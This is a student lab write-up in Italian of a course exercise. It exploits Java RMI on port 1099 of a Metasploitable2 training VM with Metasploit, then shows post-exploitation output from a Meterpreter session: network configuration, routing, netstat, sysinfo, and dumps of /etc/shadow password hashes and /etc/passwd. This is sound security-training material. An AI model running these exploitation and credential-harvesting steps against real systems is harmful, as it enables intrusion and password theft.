

## W16D4 Benchmark

Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota. I requisiti dell’esercizio sono:

-Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota: 1) configurazione di rete; 2) informazioni sulla tabella di routing della macchina vittima 3) altro...

Come da traccia o ottenuto accesso a Metasploitable2 mediante Metasploit usando l’exploit “explot/multi/misc/java\_rmi\_server che mi ha dato accesso remoto alla macchina in questione sfruttando la porta 1099 vulnerabile. Così facendo ho avuto accesso alle seguenti info:

Configurazione di rete:

```
Terminate channel 2? [y/N] y
meterpreter > cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.50.25
netmask 255.255.255.0
network 192.168.50.0
gateway 192.168.50.1
```

Tabela di routing:

```
meterpreter > shell
Process 2 created.
Channel 2 created.
route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.50.0 * 255.255.255.0 U 0 0 0 eth0
```

Ifconfig:

```
stated:x:114:65534:::/var/lib/ntfs/bin/false
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:cd:99:ec
          inet addr:192.168.50.25  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe0d:99ec/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:161 errors:0 dropped:0 overruns:0 frame:0
          TX packets:140 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:129715 (126.6 KB)  TX bytes:20715 (20.2 KB)
          Interrupt:16 Base address:0xd020

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:142 errors:0 dropped:0 overruns:0 frame:0
          TX packets:142 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:44105 (43.0 KB)  TX bytes:44105 (43.0 KB)
```

Netstat:

```
meterpreter > shell netstat
Process 2 created.
Channel 2 created.
netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address          State
tcp        0      0 192.168.50.25:56678     192.168.50.35:4444      ESTABLISHED
udp        0      0 localhost:51817         localhost:51817         ESTABLISHED
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags   Type       State           I-Node  Path
unix   2      [ ]     DGRAM      5824           @/com/ubuntu/upstart
unix   2      [ ]     DGRAM      6057           @/org/kernel/udev/udev
unix  12      [ ]     DGRAM      10946          /dev/log
unix   3      [ ]     STREAM     CONNECTED     12307        /tmp/.X11-unix/X0
unix   3      [ ]     STREAM     CONNECTED     12306
unix   3      [ ]     STREAM     CONNECTED     12305        /tmp/.X11-unix/X0
unix   3      [ ]     STREAM     CONNECTED     12304
unix   2      [ ]     DGRAM      12278
unix   2      [ ]     DGRAM      12250
unix   2      [ ]     DGRAM      12020
unix   2      [ ]     DGRAM      11952
unix   2      [ ]     DGRAM      11946
unix   3      [ ]     STREAM     CONNECTED     11938
unix   3      [ ]     STREAM     CONNECTED     11937
unix   3      [ ]     STREAM     CONNECTED     11934
unix   3      [ ]     STREAM     CONNECTED     11933
```

Info di sistema:

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
```

File con le hash delle password:

```
cat /etc/shadow
root:$1$avpFBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$UX68P0t$M1yc3Up0zQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid:*:14684:0:99999:7:::
dhep:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XKI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msadmin:$1$XN10zj2k$Rt/zrCW3mLTUWA.1hZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$w3s1k.x$MgqgZUu0SpAoUvfJhfcYe/:14685:0:99999:7:::
mysql:!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$H5u9xw8K.x03G930G0x1lQKkPmUgZ0:14699:0:99999:7:::
service:$1$R3ue7JZ$7GxELDupr50hp6c)Z3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd:!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
```